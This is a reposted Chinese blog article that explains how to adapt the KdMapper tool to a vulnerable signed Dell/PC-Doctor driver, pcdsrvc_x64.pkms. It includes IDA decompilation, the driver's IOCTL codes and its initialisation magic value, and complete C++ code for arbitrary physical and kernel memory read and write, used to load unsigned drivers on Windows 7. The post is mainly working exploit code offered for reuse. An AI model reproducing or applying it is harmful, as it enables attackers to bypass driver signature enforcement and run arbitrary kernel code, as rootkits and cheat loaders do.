KdMapper扩展实现之Dell(pcdsrvc_x64.pkms)

news2024/12/24 8:58:58

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称pcdsrvc_x64.pkms 
时间戳5B0478B6
MD5C5632596C83FFB4C704AFA2A7504A335
文件版本6.2.3.0
设备名称和驱动服务同名
初始化驱动0x222004
获取物理地址0x222080
读物理内存0x222084
写物理内存0x222088
Windows 7支持
Windows 10不支持
Windows 11不支持

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);
        if (!DestinationString.Buffer)
                return 0xC000009A;
        DestinationString.MaximumLength = RegistryPath->Length + 2;
        RtlCopyUnicodeString(&DestinationString, RegistryPath);
        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;
        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;
        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
        DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
        return CreateDevice(DriverObject);
}

  可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS result; // eax
        int v3; // edi
        unsigned int v4; // eax
        __int64 v5; // rcx
        int v6; // esi
        _UNICODE_STRING* v7; // rdi
        WCHAR* v8; // rax
        struct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREF
        UNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREF
        UNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREF
        UNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF
        _UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]

        RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");
        RtlInitUnicodeString(&Source, L"\\DosDevices\\");
        Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);
        if (!Destination.Buffer)
                return 0xC000009A;
        Destination.Length = 0;
        Destination.MaximumLength = 538;
        RtlAppendUnicodeStringToString(&Destination, &Source);
        v3 = -1;
        v4 = ::DestinationString.Length >> 1;
        v5 = v4;
        while (::DestinationString.Buffer[v5] != 92)
        {
                --v4;
                if (--v5 < 0)
                        goto LABEL_8;
        }
        v3 = v4;
LABEL_8:
        if (v3 == -1)
                return 0xC0000001;
        RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
        v10.Buffer = &::DestinationString.Buffer[v3 + 1];
        v10.Length = ::DestinationString.Length - 2 * (v3 + 1);
        v10.MaximumLength = v10.Length - 1;
        RtlAppendUnicodeStringToString(&Destination, &v10);
        result = WdmlibIoCreateDeviceSecure(
                DriverObject,
                0x28u,
                &Destination,
                0x22u,
                0x100u,
                0,
                &DefaultSDDLString,
                0i64,
                &DeviceObject);
        v6 = result;
        if (result >= 0)
        {
                RtlFreeUnicodeString(&Destination);
                v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                v7 = v15;
                *(_QWORD*)&v15->Length = DeviceObject;
                v7->Buffer = (PWSTR)DriverObject;
                v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);
                v7[1].Buffer = v8;
                if (v8)
                {
                        v7[1].MaximumLength = DestinationString.MaximumLength;
                        RtlCopyUnicodeString(v7 + 1, &DestinationString);
                }
                else
                {
                        v6 = 0xC000009A;
                }
                if (v6 < 0)
                {
                        if (v7[1].Buffer)
                                RtlFreeUnicodeString(v7 + 1);
                        IoDeleteDevice(DeviceObject);
                }
                result = v6;
        }
        return result;
}

  从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // r9
        unsigned int nBytesReturn; // edx
        ULONG nIoControlCode; // ecx
        unsigned int ntStatus; // ebx
        DWORD* dwInitailizeCode; // rax

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nBytesReturn = 0;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode != 0x222004 && !bInitialized)
        {
                ntStatus = 0xC0000022;
                pIrp->IoStatus.Information = 0i64;
        LABEL_18:
                LOBYTE(nBytesReturn) = 0;
                goto LABEL_36;
        }
        if (nIoControlCode - 0x222000 <= 0x7C)
        {
                ntStatus = 0;
                if (nIoControlCode == 0x222000)
                {
                        if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)
                        {
                                *(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;
                        LABEL_16:
                                nBytesReturn = 4;
                                goto LABEL_17;
                        }
                }
                else
                {
                        if (nIoControlCode != 0x222004)
                        {
                                ntStatus = 0xC0000010;
                        LABEL_17:
                                pIrp->IoStatus.Information = nBytesReturn;
                                goto LABEL_18;
                        }
                        if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4
                                && pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动
                        {
                                dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;
                                if (*dwInitailizeCode == 0xA1B2C3D4)
                                {
                                        bInitialized = 1;
                                        *dwInitailizeCode = 0;
                                }
                                else
                                {
                                        *dwInitailizeCode = 1;
                                }
                                goto LABEL_16;
                        }
                }
                ntStatus = 0xC000000D;
                goto LABEL_17;
        }
        if (nIoControlCode - 0x222080 <= 0x7C)
                return MemoryOperation(pIrp);
        if (nIoControlCode - 0x222100 <= 0x7C)
                return sub_112C8(pIrp);
        if (nIoControlCode - 0x222180 <= 0x7C)
                return sub_13A44(pIrp);
        if (nIoControlCode - 0x222300 <= 0x7C)
                return sub_13B94(pIrp);
        if (nIoControlCode - 0x222380 <= 0x7C)
                return sub_11008(pIrp);
        if (nIoControlCode - 0x222680 <= 0x7C)
                return sub_11878(pIrp);
        if (nIoControlCode - 0x222700 <= 0x7C)
                return sub_121C4(pIrp);
        if (nIoControlCode - 0x222600 <= 0x7C)
                return sub_13D5C(pIrp);
        ntStatus = 0xC0000010;
        pIrp->IoStatus.Information = 0i64;
LABEL_36:
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, nBytesReturn);
        return ntStatus;
}

  从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。

  关于内存的操作是在 MemoryOperation 函数中。

3.4 MemoryOperation 

__int64 __fastcall MemoryOperation(PIRP pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        ULONG_PTR nBytesReturn; // rdi
        unsigned int nInputBufferLength; // ecx
        ULONG nOutputBufferLength; // er8
        int nControlCode; // edx
        int nControlCodeV7; // edx
        unsigned int ntStatus; // ebx
        PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbp
        SIZE_T nMapSize; // rdx
        PVOID pAddressMapped; // r12
        unsigned int ntStatusV12; // eax
        PHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREF

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nBytesReturn = 0i64;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;
        nBytesMapped.QuadPart = 0i64;
        if (!nControlCode)                          // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址
        {
                if (nInputBufferLength != 8 || nOutputBufferLength != 8)
                        goto LABEL_18;
                ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);
                goto LABEL_17;
        }
        nControlCodeV7 = nControlCode - 4;
        if (!nControlCodeV7)                        // 0x222084 读取物理内存
        {
                if (nInputBufferLength < 0xD)
                        goto LABEL_18;
                ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);
        LABEL_17:
                nBytesReturn = nBytesMapped.QuadPart;
                ntStatus = ntStatusV12;
                goto LABEL_19;
        }
        if (nControlCodeV7 != 4)
        {
                ntStatus = 0xC0000010;
                goto LABEL_19;
        }
        if (nInputBufferLength < 0xD)               // 0x222088 写入物理内存
        {
        LABEL_18:
                ntStatus = 0xC000000D;
                goto LABEL_19;
        }
        pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0;
        nMapSize = pInfo->Length;
        nBytesMapped = pInfo->PhysicalAddress;
        pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);
        if (pAddressMapped)
        {
                if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))
                        nBytesReturn = pInfo->Length;
                else
                        ntStatus = 0xC000000D;
                MmUnmapIoSpace(pAddressMapped, pInfo->Length);
        }
        else
        {
                ntStatus = 0xC0000001;
        }
LABEL_19:
        pIrp->IoStatus.Status = ntStatus;
        pIrp->IoStatus.Information = nBytesReturn;
        IofCompleteRequest(pIrp, 0);
        return ntStatus;
}

  第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。

  第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。

  第 45 行到 67 行为写入物理内存,请求码为 0x222088。

3.5 GetPhysicalMemory

__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
        void* pAddressToMap; // rdi
        _MDL* pMdl; // rax
        _MDL* pMdl2; // rbx

        pAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;
        pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);
        pMdl2 = pMdl;
        if (!pMdl)
                return 0xC0000001i64;
        MmProbeAndLockPages(pMdl, 1, IoReadAccess);
        *(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);
        MmUnlockPages(pMdl2);
        IoFreeMdl(pMdl2);
        *nBytesMapped = 8i64;
        return 0i64;
}

  虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。

3.6 读物理内存

__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
        PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8
        unsigned int ntStatus; // ebx
        PVOID pAddressMapped; // rbp
        unsigned int nSize; // [rsp+38h] [rbp-20h]
        char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]
        PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREF

        pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        ntStatus = 0;
        nSize = pInfo->Length;
        nCopyAlign = pInfo->CopyAlign;
        pPhsicalAdressVar = pInfo->PhysicalAddress;
        pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);
        if (!pAddressMapped)
                return 0xC0000001i64;
        if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign))
        {
                *nBytesMapped = nSize;
        }
        else
        {
                *nBytesMapped = 0i64;
                ntStatus = 0xC000000D;
        }
        MmUnmapIoSpace(pAddressMapped, nSize);
        return ntStatus;
}

3.7  CopyMemory

char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{
        unsigned __int16 v5; // r10
        unsigned int v7; // eax
        __int64 v8; // rdx

        v5 = 0;
        if (!nCopyAlign)
        {
                memmove(Destination, Source, nSize);
                return 1;
        }
        if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64))
        {
                v7 = nSize / 4;
                if (!(nSize % 4))
                {
                        if (v7)
                        {
                                do
                                {
                                        v8 = v5++;
                                        *((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);
                                } while (v5 < v7);
                        }
                        return 1;
                }
        }
        return 0;
}

  在使用时只需要将第 5 个参数传 0 即实现 memmove。  

3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构

00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length          dd ?
0000000C CopyAlign       db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends

3.9 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4.相关逻辑说明

4.1 设备名称相关

4.1.1 原逻辑代码

HANDLE dell_driver::Load()
{
        ......
        memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));
        static const char alphanum[] =
                "abcdefghijklmnopqrstuvwxyz"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        int len = rand() % 20 + 10;
        for (int i = 0; i < len; ++i)
                dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
        ......
        HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (!result || result == INVALID_HANDLE_VALUE)
        {
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

4.1.2 修改后逻辑代码

  参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:

HANDLE dell_driver::Load()
{
        ......
        std::wstring strDeviceName;
        strDeviceName.append(L"\\\\.\\");
        strDeviceName.append(GetDriverNameW());
        HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        if (!result || result == INVALID_HANDLE_VALUE)
        {
                Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

4.2 初始化驱动

  参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:

#define PCDSRVC_X64_DEVICE_TYPE          (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID   (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER      \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE	(0xA1B2C3D4)

bool dell_driver::InitializeDriver(HANDLE device_handle)
{
        DWORD dwInitializeCode = INITIALIZE_CODE;
        return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}

HANDLE dell_driver::Load() 
{
        ......
        ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
        if (ntoskrnlAddr == 0) {
                Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!dell_driver::InitializeDriver(result))
        {
                Log(L"[-] Failed to Initialize Driver" << std::endl);
                dell_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
        ......
}

5. 代码实现

5.1 .h文件

#pragma pack(push, 1)
	typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO
	{
		PHYSICAL_ADDRESS PhysicalAddress;
		DWORD Length;
		BYTE CopyAlign;
	}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define PCDSRVC_X64_DEVICE_TYPE          (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID   (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID   (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822

#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER      \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS     \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY   \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY   \
    CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088

#define INITIALIZE_CODE	(0xA1B2C3D4)

5.2 .c文件

NTSTATUS dell_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL dell_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}


BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };
        PBYTE pWriteData = NULL;
        SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;
        __try {

                if (DoWrite) {

                        pWriteData = (PBYTE)malloc(nBufferSize);
                        if (pWriteData)
                        {
                                RtlZeroMemory(pWriteData, nBufferSize);
                                info.PhysicalAddress.QuadPart = PhysicalAddress;
                                info.Length = NumberOfBytes;
                                info.CopyAlign = 0;
                                RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));
                                RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(
                                        DeviceHandle,
                                        IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,
                                        pWriteData,
                                        (ULONG)nBufferSize,
                                        NULL,
                                        0);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");
                        }


                }
                else
                {

                        info.PhysicalAddress.QuadPart = PhysicalAddress;
                        info.Length = NumberOfBytes;
                        info.CopyAlign = 0;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
                        }

                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);
        }

        if (pWriteData)
        {
                free(pWriteData);
        }

        SetLastError(dwError);
        return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI dell_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

bool dell_driver::InitializeDriver(HANDLE device_handle)
{
        DWORD dwInitializeCode = INITIALIZE_CODE;
        return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。

6. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

7.特别提示

  使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067169.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据中台实战(11)-数据中台的数据安全解决方案

0 微盟删库跑路 除了快、准和省&#xff0c;数据中台须安全&#xff0c;避免“微盟删库跑路”。 2020年2月23日19点&#xff0c;国内最大精准营销服务商微盟出现大面积系统故障&#xff0c;旗下300万商户线上业务全停&#xff0c;商铺后台所有数据被清。始作俑者是一位运维&a…

Java常见设计模式

单例模式&#xff1a;程序自始至终只创建一个对象。 应用场景&#xff1a;1.整个程序运行中只允许一个类的实例时 2.需要频繁实例化然后销毁的对象 3.创建对象时耗时过多但又经常用到的对象 4.方便资源相互通信的环境 懒汉式线程不安全问题解决方案&#xff1a; 双重检查加锁机…

HTTPS 加密工作过程

引言 HTTP 协议内容都是按照文本的方式明文传输的&#xff0c;这就导致在传输过程中出现一些被篡改的情况。例如臭名昭著的运营商劫持。显然&#xff0c; 明文传输是比较危险的事情&#xff0c;为此引入 HTTPS &#xff0c;HTTPS 就是在 HTTP 的基础上进行了加密, 进一步的来保…

计算机毕业设计 基于Java的同城宠物帮(宠物领养平台\系统)的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

SpringSecurity源码学习一:过滤器执行原理

目录 1. web过滤器Filter1.1 filter核心类1.2 GenericFilterBean1.3 DelegatingFilterProxy1.3.1 原理1.3.2 DelegatingFilterProxy源码 2. FilterChainProxy源码学习2.1 源码2.1.1 doFilterInternal方法源码2.1.1.1 getFilters()方法源码2.1.1.2 VirtualFilterChain方法源码 3…

C++学习day1

一>整理思维导图 二>提示并输入一个字符串 &#xff0c;统计活该字符串中的大写&#xff0c;小写&#xff0c;数字&#xff0c;空格&#xff0c;以及其他字符的个数要求使用c风格符完成 #include <iostream>int main() {std::string input;std::cout << &qu…

网络和系统操作命令

目录 ping&#xff1a;用于检测网络是否通畅&#xff0c;以及网络时延情况。ipconfig&#xff1a;查看计算机的IP参数配置信息&#xff0c;如IP地址、默认网关、子网掩码等信息。netstat&#xff1a;显示协议统计信息和当前TCP/IP网络连接。tasklist&#xff1a;显示当前运行的…

Go复合类型之数组类型

Go复合类型之数组 文章目录 Go复合类型之数组一、数组(Array)介绍1.1 基本介绍1.2 数组的特点 二、数组的声明与初始化2.1 数组声明2.2 常见的数据类型声明方法2.3 数组的初始化方式一&#xff1a;使用初始值列表初始化数组方法二&#xff1a;根据初始值个数自动推断数组长度方…

温故知新:dfs模板-843. n-皇后问题

n−n−皇后问题是指将 nn 个皇后放在 nnnn 的国际象棋棋盘上&#xff0c;使得皇后不能相互攻击到&#xff0c;即任意两个皇后都不能处于同一行、同一列或同一斜线上。 现在给定整数 nn&#xff0c;请你输出所有的满足条件的棋子摆法。 输入格式 共一行&#xff0c;包含整数 n…

通过位运算,实现单字段标识多个状态位

可能经常有如下这种需求: 需要一张表,来记录学员课程的通过与否. 课程数量不确定,往往很多,且会有变动,随时可能新增一门课. 这种情况下,在设计表结构时,一门课对应一个字段,就有些不合适, 因为不知道课程的具体数量,也无法应对后期课程的增加. 考虑只用一个状态标志位,利用位运…

精确到区县级街道乡镇行政边界geojson格式矢量数据的获取拼接实现Echarts数据可视化大屏地理坐标信息地图的解决方案

在Echarts制作地理信息坐标地图时&#xff0c;最麻烦的就是街道乡镇级别的行政geojson的获取&#xff0c; 文件大小 788M 文件格式 .json格式&#xff0c;由于是大文件数据&#xff0c;无法直接使用记事本或者IDE编辑器打开&#xff0c;推荐Dadroit Viewer&#xff08;国外…

【代码实践】HAT代码Window平台下运行实践记录

HAT是CVPR2023上的自然图像超分辨率重建论文《activating More Pixels in Image Super-Resolution Transformer》所提出的模型。本文旨在记录在Window系统下运行该官方代码&#xff08;https://github.com/XPixelGroup/HAT&#xff09;的过程&#xff0c;中间会遇到一些问题&am…

linux系统中常见注册函数的使用方法

